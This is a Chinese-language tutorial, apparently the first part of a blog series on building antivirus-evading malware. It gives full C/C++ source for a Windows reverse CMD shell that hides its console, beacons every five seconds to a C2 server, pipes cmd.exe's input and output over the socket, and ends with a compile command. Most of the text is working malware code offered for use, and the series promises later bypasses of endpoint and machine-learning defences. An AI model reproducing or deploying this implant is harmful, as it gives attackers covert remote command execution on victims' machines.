開掛的惡意軟體——Part 1:簡單的CMD反向shell
序言
如果您還沒有看過我的免殺技術視訊的話,不妨花點時間看一下:
1. ofollow,noindex">Windows Cloud ML Defender Evasion
除了上面視訊中的免殺技術之外,我還能夠繞過Symantec Endpoint Protection,跟McAfee一樣,該防護軟體也使用了機器學習技術。不過,這次不打算上傳視訊,而是決定寫一個全新的文章系列,分為3篇:
·開掛的惡意軟體,Part 1:簡單的CMD反向shell
· 開掛的惡意軟體,Part 2:在模擬組織環境中繞過反病毒
· 開掛的惡意軟體,Part 3:繞過機器學習檢測
需要說明的是,本系列文章對於初學者來說可能有些難度。要想順利閱讀本系列,讀者至少具備一些C/C++和Python方面的程式設計經驗。如果讀者想要了解關於編寫惡意軟體的基本知識,可以在這裡閱讀本人編寫的、關於惡意軟體開發的入門文章系列:NII-Checkmate,它專注於用Python3自定義的處理程式,通過C/C++語言使用Windows API,來打造自定義的惡意軟體。
在這篇文章中,我們將介紹一種基於C/C++語言的簡單反向CMD shell。請記住,這些程式碼並沒有實現完美的隱身。在下一篇文章中,我將為讀者介紹如何編寫完全無法被Offline Antiviruses檢測到的企業級惡意軟體,以及如何編寫C/C++程式碼,通過使用HTTP代替TCP代理、使用主機名而不是C2伺服器的IP地址來並規避防火牆檢測。在最後一篇文章中,我將為讀者介紹如何繞過使用機器學習來檢測可執行檔案的異常行為的防病毒軟體。
我們的主要目標,是規避所有檢測技術,同時,讓可執行檔案儘可能保持“苗條”。將來,隨著加密方法的引入,可執行檔案的大小必將變得臃腫起來,為此,我們需要檢查使用了哪些外部庫,同時,還要關注程式碼編譯方式是的靜態,還是動態的。對於下面的可執行檔案,如果是使用g++編譯得到的話,大小應該在21Kb左右;如果在Linux中使用mingw交叉編譯器的話,得到的惡意軟體的大小是13Kb;如果使用cl,即Microsoft Compiler,得到的軟體的大小約87Kb左右,因為它會進行大量的程式碼優化。此外,您既可以使用現成的netcat,也可以構建一個python伺服器來處理反向shell的通訊。至於我,則使用Cython構建了一個C2伺服器,它使用多程序技術同時處理多個機器人;我已將其命名為Prometheus,眼尖的讀者可能已經從上圖中發現了。
廢話少說,讓我們進入正題……
#include <headers>
以下是我們需要用到的標頭檔案:
#include <winsock2.h> #include <windows.h> #include <ws2tcpip.h> #pragma comment(lib, "Ws2_32.lib") #define DEFAULT_BUFLEN 1024
在上面的程式碼中,winsock2.h和ws2tcpip.h用於通過Windows套接字來處理TCP/IP通訊。windows.h用於呼叫其他程序,引用其他標頭檔案和API。同時,#pragma comment(lib, “Ws2_32.lib”) 的作用是通知編譯器將該庫靜態編譯為可執行檔案。如果沒有這個語句,我們的可執行檔案將無法在任何計算機上執行,除非相應的系統中安裝了Microsoft Visual C/C++可再發行元件。所以,由於我們不清楚目標系統的具體情況,因此最好在可執行檔案中靜態連結這些庫,而不是動態連結它們,以便程式碼能夠在所有機器上執行。最後,我們通過一個變數為套接字的recv和send函式定義了緩衝區長度,並用一個大小為1024位元組的常量為其賦值。
注意,如果您不使用Microsoft Compiler,則必須使用g++/mingw32-g++中的-lws2_32選項來靜態連結可執行檔案。
在這裡,我們將整個程式碼分成兩個函式:一個是主函式,另一個函式用於生成反向shell。下面,讓我們先來看看主函式。
main()
int main(int argc, char **argv) { FreeConsole(); if (argc == 3) { int port= atoi(argv[2]); //Converting port in Char datatype to Integer format RunShell(argv[1], port); } else { char host[] = "192.168.56.130"; int port = 8080; RunShell(host, port); } return 0; }
在上面的程式碼中,main函式需要3個引數。同時,我打算通過FreeConsole()函式來禁用控制檯視窗,以便讓使用者無法看到它。如果我們的程式收到了3個引數,則會使用第2個引數作為C2 IP,第3個引數作為C2埠。如果一個引數也沒有收到的話,它將使用硬編碼的主機和埠作為C2伺服器和埠,並將其轉發到另一個名為RunShell()的函式,該函式將執行一個反向shell。好了,我們現在來看看RunShell函式。
RunShell()
需要注意的是,必須確保我們的惡意軟體即使斷開連線也能繼續執行,無論是故意斷開還是由於失誤導致的斷開。因此,我們將使用while true迴圈和Sleep函式,這樣的話,即使我們斷開連線,它只是休眠幾秒鐘,然後會主動連線我們。這種行為稱為“beaconing”。在進行紅隊測試時,請確保使用基於時間的自定義beacon,以便在代理級別無法檢測到它。
void RunShell(char* C2Server, int C2Port) { while(true) { Sleep(5000);// 1000 = One Second SOCKET mySocket; sockaddr_in addr; WSADATA version; WSAStartup(MAKEWORD(2,2), &version); mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL); addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(C2Server);//IP received from main function addr.sin_port = htons(C2Port);//Port received from main function //Connecting to Proxy/ProxyIP/C2Host if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) { closesocket(mySocket); WSACleanup(); continue; } else { char RecvData[DEFAULT_BUFLEN]; memset(RecvData, 0, sizeof(RecvData)); int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0); if (RecvCode <= 0) { closesocket(mySocket); WSACleanup(); continue; } else { char Process[] = "cmd.exe"; STARTUPINFO sinfo; PROCESS_INFORMATION pinfo; memset(&sinfo, 0, sizeof(sinfo)); sinfo.cb = sizeof(sinfo); sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW); sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket; CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo); WaitForSingleObject(pinfo.hProcess, INFINITE); CloseHandle(pinfo.hProcess); CloseHandle(pinfo.hThread); memset(RecvData, 0, sizeof(RecvData)); int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0); if (RecvCode <= 0) { closesocket(mySocket); WSACleanup(); continue; } if (strcmp(RecvData, "exit\n") == 0) { exit(0); } } } } }
簡單來說,這個函式從main函式接收C2IP和C2Port的細節資訊,然後,休眠5秒鐘,接著,開始初始化TCP/IP的套接字。這方面的內容,已經在上面提到的NII的惡意軟體開發文章中介紹過了。
最重要的程式碼,是從第16行開始的。如果我們無法連線到伺服器,它將關閉套接字,並重復while迴圈。一旦我們連線到C2IP和C2Port,將等待接收需要通過網路傳送的資料:甚至像換行這樣的資料也行。但是,如果我們收到長度為零的緩衝區(參加第24、25行),則表示套接字已斷開連線,我們將在5秒後再次進入休眠狀態,並重新建立連線。
第31行的作用,是生成shell。我們使用了一個名為Process的變數,其內容為字串cmd.exe。然後,我們初始化了一個名為STARTUPINFO和PROCESS_INFORMATION的結構。其中,STARTUPINFO結構中包含有關在程序啟動之前應該注意的事項的詳細資訊,而PROCESS_INFORMATION結構則包含有關新程序、父程序、子程序、其他執行緒及其執行方式的詳細資訊。然而,這裡最重要的程式碼在第37行,其作用是將mySocket轉換為HANDLE型別,並傳遞STARTUPINFO結構的所有輸入(hStdInput)、輸出(hStdOuput)和錯誤(hStdError)資訊。在下一行,即第38行,則使用CreateProcess API來建立一個程序,該程序將使用上述變數來建立cmd.exe程序,並使用上面建立的&sinfo將輸入、輸出和錯誤資訊傳遞給HANDLE。這個sinfo將通過套接字將所有資料傳送到我們的C2Server,這樣的話,我們就能過檢視在cmd程序中執行的命令的所有錯誤和輸出資訊了。
接下來,我們要做的事情就是等待這個子程序(即cmd.exe)結束,並關閉程序控制代碼。最後,在第44行,我將再次等待緩衝區收到需要通過網路傳輸的資料。如果收到一個包含“exit\n”的字串,它就會退出套接字程式;否則,將繼續while迴圈。
您可以使用g++或mingw32-g++來編譯上面的惡意軟體,具體命令如下所示:
$ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
最終的原始碼,我們已經上傳到Github中。
小結
下面展示的是該軟體在Windows 7 VM上的執行情況。如果檢視該惡意軟體的屬性,會發現它只有13KB,就像前面所說的那樣。
請記住,這裡只是惡意軟體的基本框架。在紅隊測試或APT場景中使用的惡意軟體,要求程式能夠自動檢測代理,使用HTTP/HTTPS/DNS/ICMP進行滲透,檢查代理憑據,繞過防火牆、IPS、終端保護、基於主機的IDS、沙箱、基於機器學習的防病毒軟體、DPI(深度包檢測)以及其他防護軟體。同時,還需要對可執行檔案本身進行加密,以提高逆向工程師的工作難度。
到本系列文章結束時,我們將能夠繞過上述大部分檢測解決方案。